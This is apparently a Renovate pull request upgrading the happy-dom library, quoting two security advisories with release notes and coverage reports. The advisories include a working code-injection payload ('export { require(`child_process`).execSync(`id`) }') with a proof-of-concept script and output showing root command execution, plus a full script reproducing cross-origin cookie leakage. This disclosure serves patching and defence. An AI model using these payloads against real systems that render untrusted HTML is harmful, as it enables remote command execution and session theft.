chore(deps): update dependency happy-dom to v20.8.9 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	20.0.8 → 20.8.9

GitHub Vulnerability Alerts

CVE-2026-33943

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

• SSR applications: Applications using happy-dom to render user-supplied HTML on the server
• Web scraping: Applications parsing untrusted web pages with happy-dom
• Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

CVE-2026-34226

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

1. Node.js >= 22
2. happy-dom 20.6.1
3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
3. From page host, call fetch to target host with credentials: "include"
4. Observe Cookie header received by the target host

Expected:

1. Include api_cookie=API_ONLY
2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

1. Includes page_cookie=PAGE_ONLY
2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

---

Release Notes

capricorn86/happy-dom (happy-dom)

v20.8.9

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117
  • A security advisory (GHSA-w4gp-fjgq-3q4g) was reported for this security vulnerability. Big thanks to @​r74tech for reporting this!

v20.8.8

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👷‍♂️ Patch fixes

• Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
  • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

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👷‍♂️ Patch fixes

• Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

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👷‍♂️ Patch fixes

• Request.formData() should honor "Content-Type" header - By @​brianhelba in task #​2106

v20.8.5

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👷‍♂️ Patch fixes

• Fixes error thrown when modifying DOM structure in connectedCallback() - By @​capricorn86 in task #​2110

v20.8.4

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v20.8.3

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👷‍♂️ Patch fixes

• Throw error if event is not of type Event in dispatchEvent - By @​capricorn86 in task #​2054

v20.8.2

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👷‍♂️ Patch fixes

• Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

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👷‍♂️ Patch fixes

• Make "inert" attribute block focus interactions - By @​coffeeandwork in task #​1422

v20.8.0

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v20.7.2

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👷‍♂️ Patch fixes

• Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

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v20.7.0

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🎨 Features

• Adds support for Window.getScreenDetails() - By @​TrevorBurnham in task #​1923
• Extends Screen from EventTarget - By @​TrevorBurnham in task #​1923

v20.6.5

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👷‍♂️ Patch fixes

• Add clearImmediate to Jest environment global scope - By @​TrevorBurnham in task #​1927

v20.6.4

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👷‍♂️ Patch fixes

• Normalize invalid input type attribute to "text" per HTML spec - By @​atzzCokeK in task #​2053

v20.6.3

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👷‍♂️ Patch fixes

• Refactors query selector parser to be able to handle complex rules - By @​capricorn86 in task #​1910
• Fixes issue related to using query selector for attribute in XML document - By @​capricorn86 in task #​1912
• Fixes issue with using quotes within quotes for attribute query selector (e.g. [data-value="it's a test"]) - By @​capricorn86 in task #​2034

v20.6.2

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👷‍♂️ Patch fixes

• Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @​acollins1991 in task #​2066

v20.6.1

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v20.6.0

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v20.5.5

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v20.5.4

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👷‍♂️ Patch fixes

• Implement Text.wholeText property - By @​aki05162525 in task #​1959

v20.5.3

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v20.5.2

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v20.5.1

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v20.5.0

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v20.4.0

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🎨 Features

• Adds support for caching the compiled code of EcmaScript modules - By @​capricorn86 in task #​2049
• Improves the way nodes are destroyed and garbage collected - By @​capricorn86 in task #​2049

v20.3.9

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👷‍♂️ Patch fixes

• Accept Document nodes as valid boundary points in Selection API - By @​skoch13 in task #​1952

v20.3.8

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👷‍♂️ Patch fixes

• The getters for the properties focusNode and focusOffset in the Selection API returned incorrect values - By @​skoch13 in task #​1850

v20.3.7

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👷‍♂️ Patch fixes

• Updates README.md for the "@​happy-dom/server-renderer" package - By @​capricorn86 in task #​2035

v20.3.6

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👷‍♂️ Patch fixes

• Fixes issue where it wasn't possible to toggle the "open" attribute of <details> by clicking on a child of the <summary> element - By @​Nxooah in task #​1928

v20.3.5

Compare Source

👷‍♂️ Patch fixes

• Use internal property for "location" in BrowserFrameURL to avoid mock interference - By @​marchaos in task #​1964
• Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in CookieURLUtility - By @​marchaos in task #​1968

v20.3.4

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v20.3.3

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v20.3.2

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v20.3.1

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👷‍♂️ Patch fixes

• Normalizes the "format" parameter according to the HTML specification in DataTransfer.getData() - By @​marchaos in task #​1965
• Handle partial responses in XMLHttpRequest - By @​rexxars in task #​1890

v20.3.0

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🎨 Features

• Use RegExp to convert ASCII character casing to improve performance - By @​TrevorBurnham in task #​1886

v20.2.0

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🎨 Features

• Use Element.classList.contains() instead of splitting className in query selectors to improve performance as it's cached - By @​TrevorBurnham in task #​1884

v20.1.1

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👷‍♂️ Patch fixes

• Fixes caching in querySelector() - By @​TrevorBurnham in task #​1882
• Avoid sort in querySelector() to improve performance - By @​TrevorBurnham in task #​1882

v20.1.0

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🎨 Features

• Adds support for BrowserPage.evaluateModule() and BrowserFrame.evaluateModule() - By @​capricorn86 in task #​1944
• Adds support for module to the browser settings - By @​capricorn86 in task #​1944
  • This makes it possible to add a custom resolver or a node module resolver
• Adds support for dynamic import() to JavaScript evaluation - By @​capricorn86 in task #​1944
  • It was previously only supported when using type="module" on script elements
• Adds support for WebSocket - By @​capricorn86 in task #​1944
• Adds support for CloseEvent - By @​capricorn86 in task #​1944
• Adds support for render.setupScript and render.mode to the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Changes name from urls to renderItems in the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Adds support for rendering strings in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Makes JavaScript evaluation disabled by default in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

👷‍♂️ Patch fixes

• Several fixed to the EcmaScript module compiler (esm) - By @​capricorn86 in task #​1944
• Fixes issue where rendering using Worker's didn't work in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

v20.0.11

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v20.0.10

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v20.0.9

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---

Configuration

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---

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[github-actions]

size-limit report 📦

Path	Size	Loading time (3g)	Running time (snapdragon)	Total time
dist/index.js	541 B (0%)	11 ms (0%)	4 ms (+31.97% 🔺)	14 ms

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 90.00%. Comparing base (9a59029) to head (7802511).

Additional details and impacted files

@@           Coverage Diff           @@
##           master    #1342   +/-   ##
=======================================
  Coverage   90.00%   90.00%           
=======================================
  Files           3        3           
  Lines          80       80           
  Branches       20       20           
=======================================
  Hits           72       72           
  Misses          6        6           
  Partials        2        2           

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